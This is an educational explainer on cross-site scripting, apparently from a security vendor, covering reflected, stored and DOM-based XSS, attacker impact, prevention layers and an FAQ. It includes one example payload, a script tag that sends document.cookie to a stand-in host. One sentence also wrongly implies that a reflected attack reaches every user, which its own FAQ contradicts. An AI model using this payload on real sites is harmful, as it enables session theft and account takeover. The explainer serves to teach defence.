XSS Attack Explained: How Cross-Site Scripting Works

An XSS attack (cross-site scripting) is a web vulnerability where an attacker injects malicious JavaScript into a page that other people load, so the attacker's code runs in each victim's browser with that victim's session, cookies, and permissions. The server is not compromised. The browser is tricked into treating attacker input as trusted page content, and everything the logged-in user can do, the script can now do too.

That is the whole class in one sentence. The rest is mechanics: how untrusted input reaches the page, and why the browser executes it.

What is XSS, and what does the XSS full form mean?

The XSS full form is Cross-Site Scripting. It was abbreviated "XSS" instead of "CSS" to avoid confusion with Cascading Style Sheets. If you have ever asked "what is XSS" and gotten a wall of payloads in reply, here is the plain version: a page reflects data it received (a search term, a comment, a URL parameter) back into HTML without neutralizing it, so a string that looks like markup becomes markup.

A cross-site scripting vulnerability exists any time these two things are true at once:

1. Untrusted input reaches an output that the browser parses (HTML body, an attribute, a <script> block, an event handler, or a URL).
2. That input is not encoded or sanitized for the context it lands in.

Break either condition and the vulnerability disappears. That is why prevention is more about output handling than about blocking "bad words."

How does a cross-site scripting vulnerability actually work?

Consider a search page that greets you with your query. The template does something like inserting the raw q parameter into the page. A normal request shows "Results for: shoes." A crafted request sets q to an HTML fragment containing a script tag, and now the response contains live markup the browser runs.

A minimal reflected XSS attack example — the kind of xss attack example javascript payload you'll see in nearly every writeup — looks like this when it lands in an HTML body:

<script>fetch('https://evil.example/c?d='+document.cookie)</script>

This is sometimes searched in French as "attaque par xss" or "attaque xss exemple" — an XSS attack, or example of one, in French-language security resources; the mechanics described here are identical regardless of language. The browser has no way to know the script was not written by the site's own developers. It arrived inside a trusted response from a trusted origin, so it inherits that origin's trust: same cookies, same local storage, same DOM. Attribute contexts are just as dangerous. If input lands inside an onerror or href attribute, an attacker does not even need angle brackets to execute code.

The defining trait is scope: one crafted request can affect every user who views the poisoned content, not just the attacker.

What are the three types of XSS attacks?

There are three recognized variants, and telling them apart changes how you find and fix them.

• Reflected XSS. The payload travels in the request (a link, a form) and is echoed straight back in the response. It is not stored. Delivery usually means tricking a victim into clicking a crafted URL.
• Stored XSS. The payload is saved server-side (a comment, a profile field, a support ticket) and served to everyone who loads that record. No per-victim link needed, which makes it the most damaging form.
• DOM-based XSS. The vulnerable flow lives entirely in client-side JavaScript. The page reads attacker-controlled data (from the URL fragment, say) and writes it into a dangerous sink like innerHTML, so the server may never see the payload at all.

Because DOM-based issues never reach the server in a form a log would capture, they routinely slip past scanners that only inspect HTTP responses. We cover the harder cases in depth on the Safeguard blog.

What can an attacker do with an XSS attack?

"It's just an alert box" is the misconception that keeps XSS on the OWASP Top 10. Running arbitrary JavaScript in a victim's authenticated session means an attacker can:

• Steal session cookies or tokens and hijack the account.
• Perform actions as the user: change email, transfer funds, post content, escalate privileges.
• Log keystrokes on the page, including passwords typed into a login form.
• Rewrite the page to phish for credentials or card numbers under a legitimate URL.
• Pivot: use the foothold to attack internal endpoints the browser can reach.

If cookies are marked HttpOnly, direct cookie theft is blocked, but the script can still act on the user's behalf through the live session. HttpOnly reduces impact; it does not fix the bug.

How do you prevent an XSS attack?

Prevention is layered, and the order matters.

1. Context-aware output encoding. Encode data for exactly the place it renders: HTML-encode for body text, attribute-encode for attributes, JavaScript-encode for script contexts, URL-encode for URLs. A single generic escape is not enough because the rules differ per context.
2. Use frameworks that auto-escape. React, Angular, and modern template engines encode by default. The danger returns the moment you reach for an escape hatch like dangerouslySetInnerHTML or v-html.
3. Sanitize HTML you must allow. For rich text, run a vetted sanitizer (such as DOMPurify) with an allowlist. Never write your own regex-based filter; attackers have decades of bypasses.
4. Set a Content Security Policy. A strict CSP that forbids inline scripts turns many injection points into dead ends, even if one slips through. Treat it as defense in depth, not a primary fix.
5. Set cookie flags. HttpOnly and Secure limit the blast radius when something does go wrong.

Finding these before they ship is the harder half. Static analysis traces untrusted input from source to sink across your code, and dynamic testing probes the running app the way an attacker would. Safeguard's SAST and DAST run both so reflected, stored, and DOM cases surface in one place. If your team is new to the topic, the Safeguard Academy has a hands-on track that walks through each variant.

FAQ

What is the difference between XSS and CSRF?

XSS runs attacker-controlled script inside the victim's browser session. CSRF tricks the browser into sending a forged authenticated request without running any injected script. XSS is an injection flaw; CSRF is a request-forgery flaw, and CSRF tokens do nothing to stop XSS.

Is XSS still relevant if I use React?

Yes. React auto-escapes text, which removes the most common cases, but dangerouslySetInnerHTML, unsanitized URLs in href, and DOM-based sinks in your own code all reopen the door. Frameworks reduce XSS; they do not eliminate it.

Does a Web Application Firewall stop XSS?

A WAF can block obvious payloads and buys time, but signature evasion is well documented and DOM-based XSS often never reaches the WAF at all. Treat it as a speed bump, not a fix. The real fix is correct output encoding in the code.

Does a reflected XSS attack hit all clients, like stored XSS does?

No — this is a common mix-up. Reflected XSS does not affect all clients automatically; it only fires against the specific victim who is tricked into clicking the crafted, payload-carrying link. Stored XSS is the variant that hits every client who later views the poisoned content, which is exactly why it's considered more dangerous.

Where can I find an XSS attack tutorial to practice against?

The Safeguard Academy includes a hands-on XSS attack tutorial track covering reflected, stored, and DOM-based cases in a safe, intentionally vulnerable environment — a better starting point than testing payloads against a production site you don't own.

What is the XSS full form again?

Cross-Site Scripting. The "X" stands in for "cross" so the abbreviation would not collide with CSS (Cascading Style Sheets).